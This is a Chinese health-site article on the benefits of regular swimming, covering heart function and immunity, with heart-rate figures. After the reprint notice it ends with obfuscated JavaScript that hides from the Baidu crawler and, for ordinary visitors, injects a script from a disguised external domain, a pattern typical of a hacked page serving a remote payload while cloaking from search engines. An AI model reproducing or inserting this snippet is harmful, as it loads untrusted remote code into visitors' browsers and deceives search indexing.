當前位置:首頁 > 健康 > 運動健身 > 正文

經(jīng)常游泳對人有什么好處?

2017-04-15 09:20:10  來源:360常識網(wǎng)   熱度:
導(dǎo)語:現(xiàn)在的人們都非常的注重自己的身體健康??偸菚ㄟ^各種方法方式來進行身體鍛煉,游泳就是其中非常常見的一種運動。很多人都非常的喜歡游泳

現(xiàn)在的人們都非常的注重自己的身體健康??偸菚ㄟ^各種方法方式來進行身體鍛煉,游泳就是其中非常常見的一種運動。很多人都非常的喜歡游泳??偸菚陂e暇的時間到游泳館里游泳。但是,游泳對人體有什么好的幫助呢?接下來,小編將呈現(xiàn)出一些與游泳相關(guān)的材料來告訴大家游泳的好處。

1.增強心肌功能

人在水中運動時,各器官都參與其中,耗能多,血液循環(huán)也隨之加快,以供給運動器官更多的營養(yǎng)物質(zhì)。血液速度的加快,會增加心臟的負荷,使其跳動頻率加快,收縮強而有力。經(jīng)常游泳的人,心臟功能極好。一般人的心率為70——80次/分,每搏輸出量為60——80毫升。

而經(jīng)常游泳的人心率可達50——55次/分,很多優(yōu)秀的游泳運動員,心率可達38——46次/分,每搏輸出量高達90——120毫升。游泳時水的作用使肢體血液易于回流心臟,使心率加快。長期游泳會有明顯的心臟運動性增大,收縮有力,血管壁厚度增加彈性加大,每搏輸出血量增加。所以,游泳可以鍛煉出一顆強而有力的心臟。

2.增強抵抗力

游泳池的水溫常為26度到28度,在水中浸泡散熱快,耗能大。為盡快補充身體散發(fā)的熱量,以供冷熱平衡的需要,神經(jīng)系統(tǒng)便快速做出反應(yīng),使人體新陳代謝加快,增強人體對外界的適應(yīng)能力,抵御寒冷。經(jīng)常參加冬泳的人,由于體溫調(diào)節(jié)功能改善,就不容易傷風感冒,還能提高人體內(nèi)分泌功能,是腦垂體功能增加,從而提高對疾病的抵抗力和免疫力。

以上就是關(guān)于人們非常喜歡的游泳運動會給人們帶來什么樣的好處的相關(guān)內(nèi)容。游泳,是一項有氧運動,可以幫助人們消耗體內(nèi)多余的卡路里和脂肪,對人的身體身體是非常的有幫助的。但是要注意去正規(guī)的游泳館游泳,避免患上皮膚病。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}